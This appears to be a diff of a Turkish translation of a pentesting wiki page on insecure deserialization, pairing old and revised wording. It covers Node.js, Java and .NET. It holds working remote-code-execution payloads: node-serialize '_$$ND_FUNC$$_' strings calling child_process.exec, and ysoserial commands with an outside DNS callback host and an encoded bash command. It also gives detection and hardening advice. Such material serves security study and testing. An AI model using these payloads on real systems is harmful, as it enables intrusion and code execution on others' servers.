Son kod parçasında **son parantezi** ve `unserialize` fonksiyonunun kodu nasıl otomatik olarak çalıştıracağını gözlemleyin:
```javascript
var serialize = require("node-serialize")
var test = {
@ -243,20 +243,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
Daha önce belirtildiği gibi, bu kütüphane `_$$ND_FUNC$$_` sonrasındaki kodu alacak ve **çalıştıracak** `eval` kullanarak. Bu nedenle, **otomatik olarak kod çalıştırmak** için **fonksiyon oluşturma** kısmını ve son parantezi **silip sadece bir JS tek satırı çalıştırabilirsiniz** aşağıdaki örnekteki gibi:
Daha önce belirtildiği gibi, bu kütüphane `_$$ND_FUNC$$_` sonrasındaki kodu alacak ve **çalıştıracak**. Bu nedenle, **otomatik olarak kod çalıştırmak** için **fonksiyon oluşturma** kısmını ve son parantezi **silip sadece bir JS tek satırı çalıştırabilirsiniz**; aşağıdaki örnekte olduğu gibi:
```javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
```
Burada bu güvenlik açığını nasıl istismar edeceğinize dair **daha fazla bilgi** bulabilirsiniz.
Bu güvenliği istismar etme hakkında [**buradan**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **daha fazla bilgi** bulabilirsiniz.
### [funcster](https://www.npmjs.com/package/funcster)
**funcster**'ın dikkate değer bir yönü, **standart yerleşik nesnelerin** erişilemezliğidir; bunlar erişilebilir kapsamın dışındadır. Bu kısıtlama, yerleşik nesneler üzerinde yöntem çağırmaya çalışan kodların çalıştırılmasını engeller ve `console.log()` veya `require(something)` gibi komutlar kullanıldığında `"ReferenceError: console is not defined"` gibi istisnalara yol açar.
Bu sınırlamaya rağmen, tüm standart yerleşik nesneler de dahil olmak üzere küresel bağlama tam erişimin geri kazanılması, belirli bir yaklaşım aracılığıyla mümkündür. Küresel bağlamı doğrudan kullanarak, bu kısıtlamayı aşmak mümkündür. Örneğin, aşağıdaki kod parçası kullanılarak erişim yeniden sağlanabilir:
Bu sınırlamaya rağmen, tüm standart yerleşik nesneler dahil olmak üzere küresel bağlama tam erişimin geri kazanılması belirli bir yaklaşım aracılığıyla mümkündür. Küresel bağlamı doğrudan kullanarak, bu kısıtlamayı aşmak mümkündür. Örneğin, aşağıdaki kod parçası kullanılarak erişim yeniden sağlanabilir:
```javascript
funcster = require("funcster")
//Serialization
@ -282,7 +282,7 @@ funcster.deepDeserialize(desertest3)
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
**serialize-javascript** paketi yalnızca serileştirme amaçları için tasarlanmıştır ve yerleşik bir deserialization yeteneği yoktur. Kullanıcılar, deserialization için kendi yöntemlerini uygulamaktan sorumludur. Serileştirilmiş verileri deserialization için resmi örnek, `eval`'in doğrudan kullanımını önermektedir:
**serialize-javascript** paketi yalnızca serileştirme amaçları için tasarlanmıştır ve yerleşik bir deserialization yeteneği yoktur. Kullanıcılar, deserialization için kendi yöntemlerini uygulamaktan sorumludur. Serileştirilmiş verileri deserialization için resmi örnek, `eval` kullanımını önermektedir:
```javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
@ -306,20 +306,20 @@ deserialize(test)
### Cryo kütüphanesi
Aşağıdaki sayfalarda, bu kütüphaneyi kötüye kullanarak rastgele komutlar çalıştırma hakkında bilgi bulabilirsiniz:
Aşağıdaki sayfalarda, bu kütüphaneyi kötüye kullanarak rastgele komutları nasıl çalıştırabileceğinize dair bilgiler bulabilirsiniz:
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
## Java - HTTP
Java'da, **deserialization geri çağırmaları deserialization süreci sırasında çalıştırılır**. Bu yürütme, bu geri çağırmaları tetikleyen kötü niyetli yükler oluşturan saldırganlar tarafından istismar edilebilir ve zararlı eylemlerin potansiyel olarak yürütülmesine yol açabilir.
Java'da, **deserialization geri çağırmaları deserialization süreci sırasında çalıştırılır**. Bu yürütme, bu geri çağırmaları tetikleyen kötü niyetli yükler oluşturan saldırganlar tarafından istismar edilebilir ve potansiyel olarak zararlı eylemlerin gerçekleştirilmesine yol açabilir.
### Parmak İzleri
#### Beyaz Kutu
Kod tabanında potansiyel serileştirme zafiyetlerini tanımlamak için şunları arayın:
Kod tabanında potansiyel serileştirme zafiyetlerini tanımlamak için arayın:
- `Serializable` arayüzünü uygulayan sınıflar.
- `java.io.ObjectInputStream`, `readObject`, `readUnshare` fonksiyonlarının kullanımı.
@ -327,7 +327,7 @@ Kod tabanında potansiyel serileştirme zafiyetlerini tanımlamak için şunlar
Aşağıdakilere ekstra dikkat edin:
- Dış kullanıcılar tarafından tanımlanan parametrelerle kullanılan `XMLDecoder`.
- `XStream`'in `fromXML` metodu, özellikle XStream sürümü 1.46 veya daha düşükse, çünkü serileştirme sorunlarına duyarlıdır.
- `XStream`'in `fromXML` metodu, özellikle XStream sürümü 1.46 veya daha düşükse, serileştirme sorunlarına karşı hassastır.
- `readObject` metodu ile birlikte kullanılan `ObjectInputStream`.
- `readObject`, `readObjectNodData`, `readResolve` veya `readExternal` gibi yöntemlerin uygulanması.
- `ObjectInputStream.readUnshared`.
@ -348,7 +348,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
```
### Zayıf olup olmadığını kontrol et
Eğer **Java Deserialized bir açığın nasıl çalıştığını öğrenmek istiyorsanız** [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) ve [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) belgelerine göz atmalısınız.
Eğer **Java Deserialized istismarının nasıl çalıştığını öğrenmek** istiyorsanız, [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) ve [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) belgelerine göz atmalısınız.
#### Beyaz Kutu Testi
@ -359,25 +359,25 @@ grep -R InvokeTransformer .
```
Tüm bilinen zayıf kütüphaneleri **kontrol etmeyi** deneyebilirsiniz ve [**Ysoserial**](https://github.com/frohoff/ysoserial) bunun için bir istismar sağlayabilir. Ya da [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) üzerinde belirtilen kütüphaneleri kontrol edebilirsiniz.\
Ayrıca, olası istismar edilebilecek gadget zincirlerini aramak için [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) kullanabilirsiniz.\
**gadgetinspector**'ı çalıştırırken (inşa ettikten sonra) karşılaştığı tonlarca uyarı/hata umursamayın ve bitmesine izin verin. Tüm bulguları _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ altında yazacaktır. Lütfen, **gadgetinspector'ın bir istismar oluşturmayacağını ve yanlış pozitifler gösterebileceğini** unutmayın.
**gadgetinspector**'ı çalıştırırken (inşa ettikten sonra) karşılaştığı tonlarca uyarı/hata umursamayın ve bitirmesine izin verin. Tüm bulguları _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ altında yazacaktır. Lütfen, **gadgetinspector'ın bir istismar oluşturmayacağını ve yanlış pozitifler gösterebileceğini** unutmayın.
#### Kara Kutu Testi
Burp eklentisi [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kullanarak **hangi kütüphanelerin mevcut olduğunu** (ve hatta sürümlerini) belirleyebilirsiniz. Bu bilgi ile **bir yük seçmek** zayıflığı istismar etmek için **daha kolay** olabilir.\
Burp eklentisi [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kullanarak **hangi kütüphanelerin mevcut olduğunu** (ve hatta sürümlerini) belirleyebilirsiniz. Bu bilgi ile, zayıflığı istismar etmek için **bir yük seçmek daha kolay olabilir**.\
[**GadgetProbe hakkında daha fazla bilgi için bunu okuyun.**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe, **`ObjectInputStream` deserialization**'larına odaklanmıştır.
Burp eklentisi [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kullanarak **ysoserial ile istismar edilebilen zayıf kütüphaneleri** belirleyebilir ve **istismar** edebilirsiniz.\
Burp eklentisi [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kullanarak **ysoserial ile istismar edilebilecek zayıf kütüphaneleri** belirleyebilir ve **istismar** edebilirsiniz.\
[**Java Deserialization Scanner hakkında daha fazla bilgi için bunu okuyun.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner, **`ObjectInputStream`** deserialization'larına odaklanmıştır.
Ayrıca, **Burp** içinde **deserialization** zayıflıklarını **tespit etmek için [**Freddy**](https://github.com/nccgroup/freddy)** kullanabilirsiniz. Bu eklenti, **sadece `ObjectInputStream`** ile ilgili zayıflıkları değil, **Json** ve **Yml** deserialization kütüphanelerinden de zayıflıkları tespit edecektir. Aktif modda, bunları uyku veya DNS yükleri kullanarak doğrulamaya çalışacaktır.\
Ayrıca, **Burp** içinde **deserialization** zayıflıklarını **tespit etmek için** [**Freddy**](https://github.com/nccgroup/freddy) kullanabilirsiniz. Bu eklenti, **sadece `ObjectInputStream`** ile ilgili zayıflıkları değil, **Json** ve **Yml** deserialization kütüphanelerinden de zayıflıkları tespit edecektir. Aktif modda, bunları uyku veya DNS yükleri kullanarak doğrulamaya çalışacaktır.\
[**Freddy hakkında daha fazla bilgi burada bulabilirsiniz.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Serileştirme Testi**
Her şey, sunucu tarafından kullanılan herhangi bir zayıf kütüphaneyi kontrol etmekle ilgili değildir. Bazen, **serileştirilmiş nesne içindeki verileri değiştirebilir ve bazı kontrolleri atlayabilirsiniz** (belki bir web uygulaması içinde size yönetici ayrıcalıkları verebilir).\
Bir web uygulamasına gönderilen bir java serileştirilmiş nesnesi bulursanız, **gönderilen serileştirme nesnesini daha okunabilir bir formatta yazdırmak için [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)** kullanabilirsiniz. Gönderdiğiniz verileri bilmek, bunları değiştirmeyi ve bazı kontrolleri atlamayı daha kolay hale getirecektir.
Bir web uygulamasına gönderilen bir java serileştirilmiş nesnesi bulursanız, **gönderilen serileştirme nesnesini daha okunabilir bir formatta yazdırmak için** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **kullanabilirsiniz**. Hangi verileri gönderdiğinizi bilmek, bunları değiştirmeyi ve bazı kontrolleri atlamayı kolaylaştıracaktır.
### **İstismar**
@ -385,7 +385,7 @@ Bir web uygulamasına gönderilen bir java serileştirilmiş nesnesi bulursanız
Java deserialization'larını istismar etmek için ana araç [**ysoserial**](https://github.com/frohoff/ysoserial) ([**buradan indirin**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ayrıca, karmaşık komutlar (örneğin, borular ile) kullanmanıza olanak tanıyacak [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) kullanmayı da düşünebilirsiniz.\
Bu aracın **`ObjectInputStream`** istismarına **odaklandığını** unutmayın.\
İnjeksyonun mümkün olup olmadığını test etmek için **RCE** yükünden önce **"URLDNS"** yükünü **kullanmayı** **başlayabilirim**. Her durumda, "URLDNS" yükünün çalışmadığını ancak başka bir RCE yükünün çalıştığını unutmayın.
İnjeksyonun mümkün olup olmadığını test etmek için **RCE** yükünden önce **"URLDNS"** yükünü kullanmaya **başlayacağım**. Her durumda, "URLDNS" yükünün çalışmadığını, ancak başka bir RCE yükünün çalıştığını unutmayın.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -430,9 +430,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
**java.lang.Runtime.exec()** için bir payload oluştururken, bir yürütmenin çıktısını yönlendirmek için ">" veya "|" gibi **özel karakterler** kullanamazsınız, komutları yürütmek için "$()" kullanamazsınız veya bir komuta **boşluklarla** ayrılmış **argümanlar** bile geçiremezsiniz ( `echo -n "hello world"` yapabilirsiniz ama `python2 -c 'print "Hello world"'` yapamazsınız). Payload'ı doğru bir şekilde kodlamak için [bu web sayfasını](http://www.jackson-t.ca/runtime-exec-payloads.html) kullanabilirsiniz.
Bir **java.lang.Runtime.exec()** yükü oluştururken, bir yürütmenin çıktısını yönlendirmek için ">" veya "|" gibi **özel karakterler** kullanamazsınız, komutları yürütmek için "$()" kullanamazsınız veya bir komuta **boşluklarla** ayrılmış **argümanlar** bile geçiremezsiniz ( `echo -n "hello world"` yapabilirsiniz ama `python2 -c 'print "Hello world"'` yapamazsınız). Yükü doğru bir şekilde kodlamak için [bu web sayfasını](http://www.jackson-t.ca/runtime-exec-payloads.html) kullanabilirsiniz.
Windows ve Linux için **tüm olası kod yürütme** payload'larını oluşturmak ve ardından bunları savunmasız web sayfasında test etmek için aşağıdaki scripti kullanmaktan çekinmeyin:
Tüm **mümkün olan kod yürütme** yüklerini Windows ve Linux için oluşturmak ve ardından bunları savunmasız web sayfasında test etmek için aşağıdaki betiği kullanmaktan çekinmeyin:
```python
import os
import base64
@ -455,13 +455,13 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
#### serialkillerbypassgadgets
**Daha fazla exploit oluşturmak için** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **ve ysoserial'i kullanabilirsiniz**. Bu aracın daha fazla bilgisi, aracın sunulduğu **konuşmanın slaytlarında** bulunmaktadır: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
#### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec), Java'daki farklı **Json** ve **Yml** serileştirme kütüphanelerini istismar etmek için yükler oluşturmak üzere kullanılabilir.\
[**marshalsec** ](https://github.com/mbechler/marshalsec) farklı **Json** ve **Yml** serileştirme kütüphanelerini istismar etmek için yükler oluşturmak üzere kullanılabilir.\
Projeyi derlemek için `pom.xml` dosyasına bu **bağımlılıkları** **eklemem** gerekti:
```markup
```html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
@ -475,7 +475,7 @@ Projeyi derlemek için `pom.xml` dosyasına bu **bağımlılıkları** **eklemem
<type>pom</type>
</dependency>
```
**Maven'ı kurun** ve **projeyi derleyin**:
**Maven'ı yükleyin** ve **projeyi derleyin**:
```bash
sudo apt-get install maven
mvn clean package -DskipTests
@ -484,7 +484,7 @@ mvn clean package -DskipTests
Bu Java JSON kütüphanesi hakkında daha fazla bilgi edinin: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
### Laboratuvarlar
### Labs
- Bazı ysoserial payload'larını test etmek istiyorsanız **bu web uygulamasını çalıştırabilirsiniz**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
@ -503,7 +503,7 @@ Java, çeşitli amaçlar için çok fazla serileştirme kullanır:
#### Geçici nesneler
`Serializable`'ı uygulayan bir sınıf, serileştirilemeyecek herhangi bir nesneyi sınıf içinde `transient` olarak işaretleyebilir. Örneğin:
`Serializable` arayüzünü uygulayan bir sınıf, serileştirilemeyecek herhangi bir nesneyi sınıf içinde `transient` olarak işaretleyebilir. Örneğin:
```java
public class myAccount implements Serializable
{
@ -512,7 +512,7 @@ private transient double margin; // declared transient
```
#### Serializable'ı Uygulaması Gereken Bir Sınıfın Serileştirilmesinden Kaçının
Belirli **nesnelerin sınıf hiyerarşisi nedeniyle `Serializable`** arayüzünü uygulaması gereken senaryolarda, istemeden serileştirme riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi, sürekli bir istisna fırlatan `final` bir `readObject()` metodu tanımlayarak bu nesnelerin serileştirilemez olmasını sağlayın:
Belirli **nesnelerin sınıf hiyerarşisi nedeniyle `Serializable`** arayüzünü uygulaması gereken senaryolarda, istemeden deserialization riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi, bu nesnelerin deserializable olmalarını sağlamak için sürekli bir istisna fırlatan `final` bir `readObject()` metodu tanımlayın:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -523,9 +523,9 @@ throw new java.io.IOException("Cannot be deserialized");
**`java.io.ObjectInputStream`'i Özelleştirmek**, deserialization süreçlerini güvence altına almak için pratik bir yaklaşımdır. Bu yöntem, aşağıdaki durumlarda uygundur:
- Deserialization kodu kontrolünüz altındadır.
- Deserialization için beklenen sınıflar bilinmektedir.
- Deserialization için beklenen sınıflar biliniyor.
Deserialization'ı yalnızca izin verilen sınıflarla sınırlamak için **`resolveClass()`** yöntemini geçersiz kılın. Bu, yalnızca açıkça izin verilen sınıfların, aşağıdaki örnekte olduğu gibi, `Bicycle` sınıfına deserialization yapılmasını sağlar:
Sadece izin verilen sınıflara deserialization'ı sınırlamak için **`resolveClass()`** yöntemini geçersiz kılın. Bu, yalnızca açıkça izin verilen sınıfların, örneğin deserialization'ı yalnızca `Bicycle` sınıfı ile sınırlayan aşağıdaki örnekte olduğu gibi, deserialization'ını önler:
```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
@ -546,7 +546,7 @@ return super.resolveClass(desc);
}
}
```
**Güvenlik Geliştirmesi için Java Ajansı Kullanımı**, kod değişikliği mümkün olmadığında bir geri dönüş çözümü sunar. Bu yöntem esasen **zararlı sınıfları kara listeye alma** için bir JVM parametresi kullanır:
**Güvenlik Geliştirmek için Java Ajanı Kullanma** kod değişikliğinin mümkün olmadığı durumlarda bir geri dönüş çözümü sunar. Bu yöntem esasen **zararlı sınıfları kara listeye alma** için bir JVM parametresi kullanır:
```
-javaagent:name-of-agent.jar
```
@ -554,7 +554,7 @@ Dinamik olarak deserialization'ı güvence altına almanın bir yolunu sağlar,
Bir örneği kontrol edin [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Serileştirme Filtrelerinin Uygulanması**: Java 9, **`ObjectInputFilter`** arayüzü aracılığıyla serileştirme filtrelerini tanıttı ve serileştirilmiş nesnelerin deserialization'dan önce karşılaması gereken kriterleri belirlemek için güçlü bir mekanizma sağladı. Bu filtreler, deserialization süreci üzerinde ayrıntılı kontrol sunarak küresel veya akış başına uygulanabilir.
**Serileştirme Filtrelerinin Uygulanması**: Java 9, serileştirilmiş nesnelerin deserialized edilmeden önce karşılaması gereken kriterleri belirlemek için güçlü bir mekanizma sağlayan **`ObjectInputFilter`** arayüzü aracılığıyla serileştirme filtrelerini tanıttı. Bu filtreler, deserialization süreci üzerinde ayrıntılı kontrol sunarak küresel veya akış başına uygulanabilir.
Serileştirme filtrelerini kullanmak için, tüm deserialization işlemlerine uygulanan küresel bir filtre ayarlayabilir veya belirli akışlar için dinamik olarak yapılandırabilirsiniz. Örneğin:
```java
@ -570,7 +570,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
```
**Dış Kütüphaneleri Kullanarak Güvenliği Artırma**: **NotSoSerial**, **jdeserialize** ve **Kryo** gibi kütüphaneler, Java deserialization'ını kontrol etme ve izleme için gelişmiş özellikler sunar. Bu kütüphaneler, deserialization'dan önce serileştirilmiş nesneleri analiz etme, sınıfları beyaz listeye alma veya kara listeye alma ve özel serileştirme stratejileri uygulama gibi ek güvenlik katmanları sağlayabilir.
- **NotSoSerial**, güvenilmeyen kodun çalıştırılmasını önlemek için deserialization süreçlerini engeller.
- **NotSoSerial**, güvenilmeyen kodun çalıştırılmasını önlemek için deserialization süreçlerini kesintiye uğratır.
- **jdeserialize**, serileştirilmiş Java nesnelerinin deserialization'ını yapmadan analiz edilmesine olanak tanır ve potansiyel olarak zararlı içeriği tanımlamaya yardımcı olur.
- **Kryo**, hız ve verimliliğe vurgu yapan alternatif bir serileştirme çerçevesidir ve güvenliği artırabilecek yapılandırılabilir serileştirme stratejileri sunar.
@ -581,11 +581,11 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- Gadgetinspector hakkında konuşma: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) ve slaytlar: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Marshalsec belgesi: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- Marshalsec makalesi: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Java ve .Net JSON deserialization **belgesi:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** konuşma: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) ve slaytlar: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Java ve .Net JSON deserialization **makalesi:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** konuşma: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) ve slaytlar: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Deserialization CVE'leri: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Enjeksiyonu & log4Shell
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Mesaj Servisi
> **Java Mesaj Servisi** (**JMS**) API'si, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan bir Java mesaj odaklı ara yazılım API'sidir. Üretici-tüketici sorununu çözmek için bir uygulamadır. JMS, Java Platformu, Kurumsal Sürüm (Java EE) parçasıdır ve Sun Microsystems'ta geliştirilen bir spesifikasyonla tanımlanmıştır, ancak o zamandan beri Java Topluluk Süreci tarafından yönlendirilmiştir. Java EE tabanlı uygulama bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasında iletişimin gevşek bir şekilde bağlı, güvenilir ve asenkron olmasını sağlar. (Kaynak: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> **Java Mesaj Servisi** (**JMS**) API'si, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan bir Java mesaj odaklı ara yazılım API'sidir. Üretici-tüketici sorununu çözmek için bir uygulamadır. JMS, Java Platformu, Kurumsal Sürüm (Java EE) parçasıdır ve Sun Microsystems'te geliştirilen bir spesifikasyonla tanımlanmıştır, ancak o zamandan beri Java Topluluk Süreci tarafından yönlendirilmiştir. Java EE tabanlı uygulama bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasında iletişimin gevşek bir şekilde bağlı, güvenilir ve asenkron olmasını sağlar. (Kaynak: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Ürünler
@ -610,12 +610,12 @@ Bu ara yazılımı kullanarak mesaj gönderen birkaç ürün bulunmaktadır:
### İstismar
Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet bulunmaktadır**. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak zararlı nesneler serileştirebilirsiniz**.\
Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet vardır**. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak kötü niyetli serileştirilmiş nesneler gönderebilirsiniz**.\
Bu, bu istismar sırasında **o mesajı kullanacak tüm istemcilerin enfekte olacağı** anlamına gelir.
Bir hizmetin zayıf olduğunu hatırlamalısınız (çünkü kullanıcı girdisini güvensiz bir şekilde deserialization yapıyorsa) ancak yine de zafiyeti istismar etmek için geçerli gadget'lar bulmanız gerekir.
[JMET](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç zararlı nesne serileştirerek bu hizmetlere bağlanmak ve saldırmak için** oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulamanın içinde ise çalışacaktır.
[JMET](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç kötü niyetli serileştirilmiş nesne göndererek bu hizmetlere bağlanmak ve saldırmak için** oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulamanın içinde bulunuyorsa çalışacaktır.
### Referanslar
@ -630,34 +630,34 @@ Bir hizmetin zayıf olduğunu hatırlamalısınız (çünkü kullanıcı girdisi
#### Beyaz Kutu
Kaynak kodu, aşağıdaki terimlerin geçişlerini kontrol etmek için incelenmelidir:
Kaynak kodu, aşağıdaki durumların varlığı için incelenmelidir:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
Odak, türün kullanıcı kontrolündeki bir değişkenle belirlenmesine izin veren serileştiriciler üzerinde olmalıdır.
Odak, kullanıcı kontrolündeki bir değişken tarafından türün belirlenmesine izin veren serileştiriciler üzerinde olmalıdır.
#### Siyah Kutu
Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir Base64 kodlu dizeyi hedef almalıdır ve bu, deserialization yapılacak tür üzerinde kontrol sağlamaktadır. Bu, **JSON** veya `TypeObject` veya `$type` içeren **XML** yapıları gibi olabilir.
Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir Base64 kodlu dizeyi hedef almalıdır; bu, deserialization yapılacak tür üzerinde kontrol sağlar. Bu, `TypeObject` veya `$type` içeren **JSON** veya **XML** yapıları dahil, ancak bunlarla sınırlı değildir.
### ysoserial.net
Bu durumda, **deserialization istismarlarını oluşturmak için** [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını kullanabilirsiniz. Git deposunu indirdikten sonra, aracı **örneğin Visual Studio kullanarak derlemelisiniz**.
Bu durumda, **deserialization istismarlarını oluşturmak için** [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını kullanabilirsiniz. Git deposunu indirdikten sonra, aracı **Visual Studio gibi bir programla derlemelisiniz**.
